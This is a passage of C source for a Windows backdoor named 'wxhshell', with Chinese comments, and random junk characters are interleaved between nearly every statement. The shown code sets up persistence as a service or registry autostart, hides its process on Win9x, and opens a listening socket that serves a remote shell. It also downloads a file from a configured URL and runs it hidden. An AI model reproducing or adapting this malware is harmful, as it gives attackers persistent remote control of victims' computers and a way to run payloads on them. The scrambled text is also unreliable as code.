pbi.InheritedFromUniqueProcessId); f^1J_}cL if(hProcess==NULL) return 0; &Ril[siw __9FQ{Ra HMODULE hMod; {f-O~P<Z4 char procName[255]; W%>T{}4 unsigned long cbNeeded; GD.Ss9_h1 K0j%\]\Tp if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); G4SA
u wW*7 CloseHandle(hProcess); 7ihcjyXB ^@* `vz^_ if(strstr(procName,"services")) return 1; // 以服务启动 mTtaqo_Bh ;LP3 return 0; // 注册表启动 "JSIn"/ } ,M{G
X r'{N_|:vv // 主模块 v; i4ZSV^A int StartWxhshell(LPSTR lpCmdLine) xA7~"q&u { tcXXo&ZS SOCKET wsl; yZNG>1N BOOL val=TRUE; o|h=M/ int port=0; oFP8s[B struct sockaddr_in door; ]>(pj9) J";N^OR{A% if(wscfg.ws_autoins) Install(); a_P|KRl >"!ScYn port=atoi(lpCmdLine); N`efLOMl]
@!dIa1Q" if(port<=0) port=wscfg.ws_port; d"Zu10 1qNO$M WSADATA data; *z69ti/
t if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; tE=09J%z pt.V^a if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; ZN)EbTpc\a setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); <(>t"< door.sin_family = AF_INET; e&ysj:W5
" door.sin_addr.s_addr = inet_addr("127.0.0.1"); *`"+J_ door.sin_port = htons(port); o+=wQ$"tP o 7kg.w| if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { #&kj> closesocket(wsl); MwRLv,&" return 1; *h0D,O"0 } m_0y ]RfG [A =0fg5 if(listen(wsl,2) == INVALID_SOCKET) { wX}p6yyN closesocket(wsl); $T3_~7N return 1; *V',@NH#Os } ni{'V4A Wxhshell(wsl); H@@ 4n%MK WSACleanup(); asYk#;z\" ~;CNWJtcf( return 0; lj}3TbM y*^UGJC: } }#D=Rf?2\P kQbZ!yl>[ // 以NT服务方式启动 7s6+I_n VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) Ed u(dZbKg { %k4Qx5`?d DWORD status = 0; _2G _Io DWORD specificError = 0xfffffff; hJ ^+asr HJ]v- serviceStatus.dwServiceType = SERVICE_WIN32; >D!R)W` serviceStatus.dwCurrentState = SERVICE_START_PENDING; rwXpB<@l@ serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; ,L-/7}"VHA serviceStatus.dwWin32ExitCode = 0; #T8o+tv serviceStatus.dwServiceSpecificExitCode = 0; 34!.5^T serviceStatus.dwCheckPoint = 0; KX9IC5pR serviceStatus.dwWaitHint = 0; qI7KWUR j
H2)8~P hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); Vxap+<m if (hServiceStatusHandle==0) return; P
_fCb +7w5m status = GetLastError(); m0;j1-t if (status!=NO_ERROR) Lp:VU-S { 8WQ#) serviceStatus.dwCurrentState = SERVICE_STOPPED; #[9UCX^= serviceStatus.dwCheckPoint = 0; mM&P&mz/D serviceStatus.dwWaitHint = 0; Q/?`); serviceStatus.dwWin32ExitCode = status; &v .S_Ym serviceStatus.dwServiceSpecificExitCode = specificError; L>IP!.J]? SetServiceStatus(hServiceStatusHandle, &serviceStatus); w;ZT-Fti return; G(wK(P0j } BH {z]a
I ==)a6^ serviceStatus.dwCurrentState = SERVICE_RUNNING; 'qT;Eht5 serviceStatus.dwCheckPoint = 0; 5&Yt=)c\ serviceStatus.dwWaitHint = 0; zs]ubJC@ if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); sc+%v1Y#} } J@/4CSCR] k@lJ8(i^qU // 处理NT服务事件,比如:启动、停止 SeXgBbGAne VOID WINAPI NTServiceHandler(DWORD fdwControl) 9Zl4NV&B { z9IW&f~~P switch(fdwControl) 9k71h`5 { `{{6vb^g case SERVICE_CONTROL_STOP: [ K/l;Zd serviceStatus.dwWin32ExitCode = 0; cJ$jU{} serviceStatus.dwCurrentState = SERVICE_STOPPED; lfM vNv serviceStatus.dwCheckPoint = 0; 8[J%TWq%9 serviceStatus.dwWaitHint = 0; ]dGH
i \ { `Z,WKus SetServiceStatus(hServiceStatusHandle, &serviceStatus); ek<B= F } of*T,MUI return; ]2f-oz*hU case SERVICE_CONTROL_PAUSE: g^A^@~M serviceStatus.dwCurrentState = SERVICE_PAUSED; n+sv2Wv: break; 4_-&PZ,d case SERVICE_CONTROL_CONTINUE: Yf9E0po serviceStatus.dwCurrentState = SERVICE_RUNNING; R4;1LZ8XzS break; wp1O*)/q case SERVICE_CONTROL_INTERROGATE: +3.9)w break; `&c[s%0 }; XlF ,_ SetServiceStatus(hServiceStatusHandle, &serviceStatus); W'@G5e } H.l0kBeG 5fk
A?Ecqq // 标准应用程序主函数 3HtM<su*h int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) I-!7 EC2{! { gD)M7`4 s3A(`heoq // 获取操作系统版本 9U<WR*H OsIsNt=GetOsVer(); S>x@9$( ym GetModuleFileName(NULL,ExeFile,MAX_PATH); Ag0w8F V z // 从命令行安装 Qc*p+N+$ if(strpbrk(lpCmdLine,"iI")) Install(); c`3`}&g# C0w_pu // 下载执行文件 Ux',ma1JK if(wscfg.ws_downexe) { d4IQ;u if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) bX38=.up WinExec(wscfg.ws_filenam,SW_HIDE); C{*? } p9i7<X2& no-";{c if(!OsIsNt) { hb*Y-$Zp // 如果时win9x,隐藏进程并且设置为注册表启动 Cu%BU}( HideProc(); gKTCfD~ StartWxhshell(lpCmdLine); *bpN!2 } E7h@Y~bNhW else Jk}3c>^D if(StartFromService()) cG0)F%?X? // 以服务方式启动 ^NU_Tp:2^ StartServiceCtrlDispatcher(DispatchTable); PtuRXx else BDfMFH[1 // 普通方式启动 90+Vw`Gz= StartWxhshell(lpCmdLine); +arh/pd_I
j7_,V?5z return 0; YkF LNCg4} }
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